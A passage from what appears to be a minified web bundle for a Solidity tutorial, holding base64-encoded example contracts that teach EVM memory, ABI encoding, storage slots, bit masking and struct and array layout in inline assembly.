ZWFkIGRhdGEgZnJvbSBhcnIsIGluaXRpYWxpemVkIGluIGludGVybmFsX2Z1bmNfcmV0dXJuX21lbSwgdXNpbmcgYXNzZW1ibHkKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxlbiA6PSBtbG9hZCgweDgwKQogICAgICAgICAgICBhMCA6PSBtbG9hZCgweGEwKQogICAgICAgICAgICBhMSA6PSBtbG9hZCgweGMwKQogICAgICAgICAgICBhMiA6PSBtbG9hZCgweGUwKQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgQUJJRW5jb2RlIHsKICAgIC8vIGpzIGNvZGUgdG8gc3BsaXQgc3RyaW5nIGludG8gY2h1bmtzIG9mIGxlbmd0aCA2NAogICAgLy8gc3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Bhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAxMSkKICAgICAgICAgICAgbXN0b3JlKDB4YTAsIDIyKQogICAgICAgICAgICByZXR1cm4oMHg4MCwgMHg0MCkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9yZXR1cm5fZHluX2FycigpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICAvLyBBQkkgZW5jb2RlIHVpbnQyNTZbXSBhcnJheSB3aXRoIDMgZWxlbWVudHMgMTEsIDIyIGFuZCAzMwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gb2Zmc2V0CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAweDIwKQogICAgICAgICAgICAvLyBsZW5ndGgKICAgICAgICAgICAgbXN0b3JlKGFkZCgweDgwLCAweDIwKSwgMykKICAgICAgICAgICAgLy8gYXJyYXkgZWxlbWVudHMKICAgICAgICAgICAgbXN0b3JlKGFkZCgweDgwLCAweDQwKSwgMTEpCiAgICAgICAgICAgIG1zdG9yZShhZGQoMHg4MCwgMHg2MCksIDIyKQogICAgICAgICAgICBtc3RvcmUoYWRkKDB4ODAsIDB4ODApLCAzMykKICAgICAgICAgICAgLy8gTm8gbmVlZCB0byB1cGRhdGUgZnJlZSBtZW1vcnkgcG9pbnRlciAtIGZ1bmN0aW9uIGV4ZWN1dGlvbiBlbmRzIGhlcmUKICAgICAgICAgICAgcmV0dXJuKDB4ODAsIG11bCg1LCAweDIwKSkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9yZXR1cm4oKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCB1aW50MjU2KSB7CiAgICAgICAgLy8gUmV0dXJucyAoMTEsIDIyKQogICAgICAgIHRlc3RfcmV0dXJuX3ZhbHMoKTsKICAgICAgICAvLyBUaGlzIGNvZGUgd2lsbCBuZXZlciBleGVjdXRlC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ksIDUpCiAgICAgICAgICAgIC8vIE1lc3NhZ2UgKG11c3QgYmUgbGVzcyB0aGFuIDMyIGJ5dGVzKQogICAgICAgICAgICBtc3RvcmUoYWRkKHAsIDB4NDQpLCAiRVJST1IiKQogICAgICAgICAgICAvLyBmdW5jdGlvbiBzZWxlY3RvciArIG9mZnNldCArIHN0cmluZyBsZW5ndGggKyBzdHJpbmcgbWVzc2FnZQogICAgICAgICAgICAvLyA9IDB4MDQgKyAweDIwICsgMHgyMCArIDB4MjAKICAgICAgICAgICAgLy8gPSAweDY0CiAgICAgICAgICAgIHJldmVydChwLCAweDY0KQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgTWVtS2VjY2FrIHsKICAgIGZ1bmN0aW9uIHRlc3Rfa2VjY2FrKCkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIGtlY2NhazI1NihzdGFydCwgbGVuKSAtIEtlY2NhazI1NiBmcm9tIGRhdGEgaW4gbWVtb3J5IGZyb20gc3RhcnQgdG8gc3RhcnQgKyBsZW4KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAxKQogICAgICAgICAgICBtc3RvcmUoMHhhMCwgMikKCiAgICAgICAgICAgIGxldCBoIDo9IGtlY2NhazI1NigweDgwLCAweDQwKQogICAgICAgICAgICBtc3RvcmUoMHhjMCwgaCkKCiAgICAgICAgICAgIHJldHVybigweGMwLCAweDIwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBrZWNjYWsoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHVpbnQyNTYoMSksIHVpbnQyNTYoMikpKTsKICAgIH0KfQoKY29udHJhY3QgVGFyZ2V0IHsKICAgIGZ1bmN0aW9uIHJldHVybl91aW50MjU2KHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcm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3NpemUpCiAgICAgICAgICAgIC8vIENvcHkgcmV0dXJuIGRhdGEgdG8gb3V0CiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KGFkZChvdXQsIDB4MjApLCAwLCByZXR1cm5fZGF0YV9zaXplKQogICAgICAgICAgICAvLyBVcGRhdGUgZnJlZSBtZW1vcnkgcG9pbnRlcgogICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKG91dCwgYWRkKDB4MjAsIHJldHVybl9kYXRhX3NpemUpKSkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jKCkgcHVibGljIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgWXVsQ2FsbCB7CiAgICBmdW5jdGlvbiB0ZXN0X2NhbGwoYWRkcmVzcyBhLCBieXRlcyBtZW1vcnkgZGF0YSkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5IG91dCkKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbGV0IGRhdGFfcHRyIDo9IGRhdGEKICAgICAgICAgICAgLy8gMHg2MAogICAgICAgICAgICBsZXQgb3V0X3B0ciA6PSBvdXQKCiAgICAgICAgICAgIGxldCBkYXRhX3NpemUgOj0gbWxvYWQoZGF0YSkKICAgICAgICAgICAgbGV0IGRhdGFfc3RhcnQgOj0gYWRkKGRhdGEsIDB4MjApCiAgICAgICAgICAgIGxldCBvayA6PSBjYWxsKGdhcygpLCBhLCBjYWxsdmFsdWUoKSwgZGF0YV9zdGFydCwgZGF0YV9zaXplLCAwLCAwKQoKICAgICAgICAgICAgaWYgaXN6ZXJvKG9rKSB7IHJldmVydCgwLCAw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LyAgICAxNDAwMCB8IDQ2NzI1NwovLyAgICAxNTAwMCB8IDUyOTkxOAovLyAgICAxNjAwMCB8IDU5NjQ4NAovLyAgICAxNzAwMCB8IDY2Njk1NwovLyAgICAxODAwMCB8IDc0MTMzNgovLyAgICAxOTAwMCB8IDgxOTYyMQovLyAgICAyMDAwMCB8IDkwMTgxMgo="}],Kk=`

                        Examples of

                        • Reading and writing to memory with assembly
                        • Memory layout in Solidity of different data types
                        • @@ -8311,7 +8311,7 @@ assertion probably means that there is a bug.

                          References

                          Solidity document

                          EVM Codes

                          -`,Fk=({prev:s,next:a})=>r.jsx(A,{version:Yk,title:Xk,description:vk,cyfrinLink:Rk,html:Hk,prev:s,next:a,codes:Nk}),Kk="0.8.26",Mk="EVM Storage",Sk="Example of EVM storage in Solidity",xk="",Jk=[{fileName:"EVMStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFl1bCAtIGxhbmd1YWdlIHVzZWQgZm9yIFNvbGlkaXR5IGlubGluZSBhc3NlbWJseQpjb250cmFjdCBZdWxJbnRybyB7CiAgICAvLyBZdWwgYXNzaWdubWVudAogICAgZnVuY3Rpb24gdGVzdF95dWxfdmFyKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHVpbnQyNTYgcyA9IDA7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gRGVjbGFyZSB2YXJpYWJsZQogICAgICAgICAgICBsZXQgeCA6PSAxCiAgICAgICAgICAgIC8vIFJlYXNzaWduCiAgICAgICAgICAgIHggOj0gMgogICAgICAgICAgICAvLyBBc3NpZ24gdG8gU29saWRpdHkgdmFyaWFibGUKICAgICAgICAgICAgcyA6PSAyCiAgICAgICAgfQoKICAgICAgICByZXR1cm4gczsKICAgIH0KCiAgICAvLyBZdWwgdHlwZXMgKGV2ZXJ5dGhpbmcgaXMgYnl0Z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gMjIyKQogICAgICAgICAgICBzc3RvcmUoMiwgMHhhYmFiYWIpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3N0b3JlX2FnYWluKCkgcHVibGljIHsKICAgICAgICAvLyBBY2Nlc3Mgc2xvdCB1c2luZyAuc2xvdAogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3N0b3JlKHNfeC5zbG90LCAxMjMpCiAgICAgICAgICAgIHNzdG9yZShzX3kuc2xvdCwgNDU2KQogICAgICAgICAgICBzc3RvcmUoc196LnNsb3QsIDB4Y2RjZGNkKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3Nsb2FkKCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB4LCB1aW50MjU2IHksIGJ5dGVzMzIgeikKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHggOj0gc2xvYWQoMCkKICAgICAgICAgICAgeSA6PSBzbG9hZCgxKQogICAgICAgICAgICB6IDo9IHNsb2FkKDIpCiAgICAgICAgfQoKICAgICAgICByZXR1cm4gKHgsIHksIHopOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc2xvYWRfYWdhaW4oKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2IHgsIHVpbnQyNTYgeSwgYnl0ZXMzMiB6KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgeCA6PSBzbG9hZChzX3guc2xvdCkKICAgICAgICAgICAgeSA6PSBzbG9hZChzX3kuc2xvdCkKICAgICAgICAgICAgeiA6PSBzbG9hZChzX3ouc2xvdCkKICAgICAgICB9CgogICAgICAgIHJldHVybiAoeCwgeSwgeik7CiAgICB9Cn0KCmNvbnRyYWN0IEVWTVN0b3JhdGVQYWNrZWRTbG90Qnl0ZXMgewogICAgLy8gc2xvdCAwIChwYWNrZWQgcmlnaHQgdG8gbGVmdCkKICAgIGJ5dGVzNCBwdWJsaWMgYjQgPSAweGFiYWJhYmFiOwogICAgYnl0ZXMyIHB1YmxpYyBiMiA9IDB4Y2RjZDsKCiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyIGIzMikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgYjMyIDo9IHNsb2FkKDApCiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBCaXRNYXNraW5nIHsKICAgIGZ1bmN0aW9uIHRlc3RfbWFzaygpIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzMzIgbWFzaykgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gfCAgICAgICAyNTYgYml0cyAgICAgICAgfAogICAgICAgICAgICAvLyAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExCiAgICAgICAgICAgIC8vICAgICAgICAgICAgIHwgMTYgYml0cwogICAgICAgICAgICAvLyAweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGZmZmYKICAgICAgICAgICAgbWFzayA6PSBzdWIoc2hsKDE2LCAxKSwgMSkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zaGlmdF9tYXNrKCkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMiBtYXNrKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyB8ICAgICAgICAgICAgICAgMjU2IGJpdHMgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAvLyAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExIHwgMDAwIC4uLiAwMDAgfAogICAgICAgICAgICAvLyAgICAgICAgICAgICB8IDE2IGJpdHMgICAgIHwgMzIgYml0cwogICAgICAgICAgICAvLyAweDAwMDAwMDAwMDAwMDAwM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gLy8gOTYgYml0cwogICAgdWludDY0IHB1YmxpYyBzX3g7CiAgICB1aW50MzIgcHVibGljIHNfeTsKCiAgICBmdW5jdGlvbiB0ZXN0X3NzdG9yZSgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBMb2FkIDMyIGJ5dGVzIGZyb20gc2xvdDAKICAgICAgICAgICAgbGV0IHYgOj0gc2xvYWQoMCkKCiAgICAgICAgICAgIC8vIHNfZCB8IHNfYyB8IHNfYiB8IHNfYQogICAgICAgICAgICAvLyAzMiAgfCAzMiAgfCA2NCAgfCAxMjggYml0cwoKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDExCiAgICAgICAgICAgIC8vIG1hc2sgPSBhbGwgMXMgYXQgYW5kIHRvIHRoZSBsZWZ0IG9mIDEyOCBiaXQgY291bnRpbmcgZnJvbSByaWdodAogICAgICAgICAgICAvLyAgICAgICAgMTExIC4uLiAxMTEgfCAwMDAgLi4uIDAwMAogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgICAgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19hIDo9IG5vdChzdWIoc2hsKDEyOCwgMSksIDEpKQogICAgICAgICAgICAvLyBTZXQgbGVmdCBtb3N0IDEyOCBiaXRzIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19hKQogICAgICAgICAgICAvLyBTZXQgc19hID0gMTEKICAgICAgICAgICAgdiA6PSBvcih2LCAxMSkKCiAgICAgICAgICAgIC8vIFNldCBzX2IgPSAyMgogICAgICAgICAgICAvLyBtYXNrID0gMTExLi4uMTExIHwgMDAwIC4uLiAwMDAgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19iIDo9IG5vdChzaGwoMTI4LCBzdWIoc2hsKDY0LCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2IgYnkgc2V0dGluZyBiaXRzICgxMjggdG8gMTkxIGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19iKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgxMjgsIDIyKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2MgPSAzMwogICAgICAgICAgICAvLyBtYXNrID0gMTExLi4uMTExIHwgMDAwLi4uMDAwIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19jIDo9IG5vdChzaGwoMTkyLCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2MgYnkgc2V0dGluZyBiaXRzICgxOTIgdG8gMjIzIGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19jKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgxOTIsIDMzKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2QgPSA0NAogICAgICAgICAgICAvLyBtYXNrID0gMDAwLi4uMDAwIHwgMTExLi4uMTExIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19kIDo9IG5vdChzaGwoMjI0LCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2QgYnkgc2V0dGluZyBiaXRzICgyMjQgdG8gMjU1IGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19kKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgyMjQsIDQ0KSkKCiAgICAgICAgICAgIC8vIFN0b3JlIG5ldyB2YWx1ZSB0byBzbG90MAogICAgICAgICAgICBzc3RvcmUoMCwgdikKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zbG90XzBfb2Zmc2V0KCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgYV9vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgYl9vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgY19vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgZF9vZmZzZXQKICAgICAgICApCiAgICB7CiAgICAgICAgLy8gYV9vZmZzZXQgPSAgMCA9ICAwICogOCA9ICAgMCBiaXRzCiAgICAgICAgLy8gYl9vZmZzZXQgPSAxNiA9IDE2ICogOCA9IDEyOCBiaXRzCiAgICAgICAgLy8gY19vZmZzZXQgPSAyNCA9IDI0ICogOCA9IDE5MiBiaXRzCiAgICAgICAgLy8gZF9vZmZzZXQgPSAyOCA9IDI4ICogOCA9IDIyNCBiaXRzCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhX29mZnNldCA6PSBzX2Eub2Zmc2V0CiAgICAgICAgICAgIGJfb2Zmc2V0IDo9IHNfYi5vZmZzZXQKICAgICAgICAgICAgY19vZmZzZXQgOj0gc19jLm9mZnNldAogICAgICAgICAgICBkX29mZnNldCA6PSBzX2Qub2Zmc2V0CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc2xvdF8xX29mZnNldCgpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYWRkcl9vZmZzZXQsIHVpbnQyNTYgeF9vZmZzZXQsIHVpbnQyNTYgeV9vZmZzZXQpCiAgICB7CiAgICAgICAgLy8gYWRkcl9vZmZzZXQgPSAwCiAgICAgICAgLy8geF9vZmZzZXQgPSAyMAogICAgICAgIC8vIHlfb2Zmc2V0ID0gMjgKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGFkZHJfb2Zmc2V0IDo9IHNfYWRkci5vZmZzZXQKICAgICAgICAgICAgeF9vZmZzZXQgOj0gc194Lm9mZnNldAogICAgICAgICAgICB5X29mZnNldCA6PSBzX3kub2Zmc2V0CiAgICAgICAgfQogICAgfQoKICAgIC8vIHNsb3QgYW5kIG9mZnNldAogICAgZnVuY3Rpb24gdGVzdF9zc3RvcmVfdXNpbmdfb2Zmc2V0KCkgcHVibGljIHsKICAgICAgICAvLyBhX29mZnNldCA9ICAwID0gIDAgKiA4ID0gICAwIGJpdHMKICAgICAgICAvLyBiX29mZnNldCA9IDE2ID0gMTYgKiA4ID0gMTI4IGJpdHMKICAgICAgICAvLyBjX29mZnNldCA9IDI0ID0gMjQgKiA4ID0gMTkyIGJpdHMKICAgICAgICAvLyBkX29mZnNldCA9IDI4ID0gMjggKiA4ID0gMjI0IGJpdHMKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIExvYWQgMzIgYnl0ZXMgZnJvbSBzbG90MAogICAgICAgICAgICBsZXQgdiA6PSBzbG9hZChzX2Euc2xvdCkKCiAgICAgICAgICAgIC8vIHNfZCB8IHNfYyB8IHNfYiB8IHNfYQogICAgICAgICAgICAvLyAzMiAgfCAzMiAgfCA2NCAgfCAxMjggYml0cwoKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDExMQogICAgICAgICAgICAvLyBtYXNrID0gYWxsIDFzIGF0IGFuZCB0byB0aGUgbGVmdCBvZiAxMjggYml0IGNvdW50aW5nIGZyb20gcmlnaHQKICAgICAgICAgICAgLy8gICAgICAgIDExMSAuLi4gMTExIHwgMDAwIC4uLiAwMDAKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgICAgIHwgICAgMTI4IGJpdHMKICAgICAgICAgICAgbGV0IG1hc2tfYSA6PSBub3Qoc3ViKHNobCgxMjgsIDEpLCAxKSkKICAgICAgICAgICAgLy8gU2V0IGxlZnQgbW9zdCAxMjggYml0cyB0byAwCiAgICAgICAgICAgIHYgOj0gYW5kKHYsIG1hc2tfYSkKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDEKICAgICAgICAgICAgdiA6PSBvcih2LCAxMTEpCgogICAgICAgICAgICAvLyBTZXQgc19iID0gMjIyCiAgICAgICAgICAgIC8vIG1hc2sgPSAxMTEuLi4xMTEgfCAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExCiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICAgfCAgICAgNjQgYml0cyB8ICAgIDEyOCBiaXRzCiAgICAgICAgICAgIGxldCBtYXNrX2IgOj0gbm90KHNobChtdWwoc19iLm9mZnNldCwgOCksIHN1YihzaGwoNjQsIDEpLCAxKSkpCiAgICAgICAgICAgIC8vIENsZWFyIHByZXZpb3VzIHZhbHVlIG9mIHNfYiBieSBzZXR0aW5nIGJpdHMgKDEyOCB0byAxOTEgYml0cykgdG8gMAogICAgICAgICAgICB2IDo9IGFuZCh2LCBtYXNrX2IpCiAgICAgICAgICAgIHYgOj0gb3Iodiwgc2hsKG11bChzX2Iub2Zmc2V0LCA4KSwgMjIyKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2MgPSAzMzMKICAgICAgICAgICAgLy8gbWFzayA9IDExMS4uLjExMSB8IDAwMC4uLjAwMCB8IDExMSAuLi4gMTExIHwgMTExIC4uLiAxMTEKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgICB8ICAgMzIgYml0cyB8ICAgICA2NCBiaXRzIHwgICAgMTI4IGJpdHMKICAgICAgICAgICAgbGV0IG1hc2tfYyA6PSBub3Qoc2hsKG11bChzX2Mub2Zmc2V0LCA4KSwgc3ViKHNobCgzMiwgMSksIDEpKSkKICAgICAgICAgICAgLy8gQ2xlYXIgcHJldmlvdXMgdmFsdWUgb2Ygc19jIGJ5IHNldHRpbmcgYml0cyAoMTkyIHRvIDIyMyBiaXRzKSB0byAwCiAgICAgICAgICAgIHYgOj0gYW5kKHYsIG1hc2tfYykKICAgICAgICAgICAgdiA6PSBvcih2LCBzaGwobXVsKHNfYy5vZmZzZXQsIDgpLCAzMzMpKQoKICAgICAgICAgICAgLy8gU2V0IHNfZCA9IDQ0NAogICAgICAgICAgICAvLyBtYXNrID0gMDAwLi4uMDAwIHwgMTExLi4uMTExIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19kIDo9IG5vdChzaGwobXVsKHNfZC5vZmZzZXQsIDgpLCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2QgYnkgc2V0dGluZyBiaXRzICgyMjQgdG8gMjU1IGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19kKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobChtdWwoc19kLm9mZnNldCwgOCksIDQ0NCkpCgogICAgICAgICAgICAvLyBTdG9yZSBuZXcgdmFsdWUgdG8gc2xvdDAKICAgICAgICAgICAgc3N0b3JlKHNfYS5zbG90LCB2KQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgRVZNU3RvcmFnZVN0cnVjdCB7CiAgICBzdHJ1Y3QgU2luZ2xlU2xvdCB7CiAgICAgICAgdWludDEyOCB4OwogICAgICAgIHVpbnQ2NCB5OwogICAgICAgIHVpbnQ2NCB6OwogICAgfQoKICAgIHN0cnVjdCBNdWx0aXBsZVNsb3RzIHsKICAgICAgICB1aW50MjU2IGE7CiAgICAgICAgdWludDI1NiBiOwogICAgICAgIHVpbnQyNTYgYzsKICAgIH0KCiAgICAvLyBzbG90IDAKICAgIFNpbmdsZVNsb3QgcHVibGljIHNpbmdsZSA9IFNpbmdsZVNsb3Qoe3g6IDEsIHk6IDIsIHo6IDN9KTsKICAgIC8vIHNsb3QgMSwgMiwgMwogICAgTXVsdGlwbGVTbG90cyBwdWJsaWMgbXVsdGkgPSBNdWx0aXBsZVNsb3RzKHthOiAxMSwgYjogMjIsIGM6IDMzfSk7CgogICAgZnVuY3Rpb24gdGVzdF9nZXRfc2luZ2xlX3Nsb3Rfc3RydWN0KCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDEyOCB4LCB1aW50NjQgeSwgdWludDY0IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgcyA6PSBzbG9hZCgwKQogICAgICAgICAgICAvLyAgeiB8ICB5IHwgeAogICAgICAgICAgICAvLyA2NCB8IDY0IHwgMTI4IGJpdHMKICAgICAgICAgICAgLy8gQ2FzdGluZyBjdXRzIG9mZiBiaXRzIHRvIHRoZSBsZWZ0CiAgICAgICAgICAgIHggOj0gcwogICAgICAgICAgICB5IDo9IHNocigxMjgsIHMpCiAgICAgICAgICAgIHogOj0gc2hyKDE5MiwgcykKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9nZXRfbXVsdGlwbGVfc2xvdHNfc3RydWN0KCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiBhLCB1aW50MjU2IGIsIHVpbnQyNTYgYykKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEgOj0gc2xvYWQoMSkKICAgICAgICAgICAgYiA6PSBzbG9hZCgyKQogICAgICAgICAgICBjIDo9IHNsb2FkKDMpCiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBFVk1TdG9yYWdlQ29uc3RhbnRzIHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgczAgPSA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ldHVybnMgKHVpbnQyNTYgdikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gYXJyXzAgc3RhcnRzIGZyb20gc2xvdCAwCiAgICAgICAgICAgIHYgOj0gc2xvYWQoYWRkKDAsIGkpKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X2Fycl8xKHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NiB2KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBhcnJfMSBzdGFydHMgZnJvbSBzbG90IDMKICAgICAgICAgICAgdiA6PSBzbG9hZChhZGQoMywgaSkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfYXJyXzIodWludDI1NiBpKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MTI4IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGFycl8yIHN0YXJ0cyBmcm9tIHNsb3QgNgogICAgICAgICAgICBsZXQgYjMyIDo9IHNsb2FkKGFkZCg2LCBkaXYoaSwgMikpKQogICAgICAgICAgICAvLyBzbG90IDYgPSAxc3QgZWxlbWVudCB8IDB0aCBlbGVtZW50CiAgICAgICAgICAgIC8vIHNsb3QgNyA9IDNyZCBlbGVtZW50IHwgMm5kIGVsZW1lbnQKICAgICAgICAgICAgLy8gc2xvdCA4ID0gMDAwIC4uLiAwMDAgfCA0dGggZWxlbWVudAoKICAgICAgICAgICAgLy8gaSBpcyBldmVuID0+IGdldCByaWdodCAxMjggYml0cyA9PiBjYXN0IGJ5dGVzMzIgdG8gdWludDEyOCAoY3V0IG9mZiBsZWZ0IDEyOCBiaXRzKQogICAgICAgICAgICAvLyBpIGlzIG9kZCAgPT4gZ2V0IGxlZnQgMTI4IGJpdHMgID0+IHNoaWZ0IHJpZ2h0IDEyOCBiaXRzCgogICAgICAgICAgICBzd2l0Y2ggbW9kKGksIDIpCiAgICAgICAgICAg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ERSXzIgPSBhZGRyZXNzKDIpOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMTEpOwogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMjIpOwogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMzMpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNDQpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNTUpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNjYpOwogICAgfQoK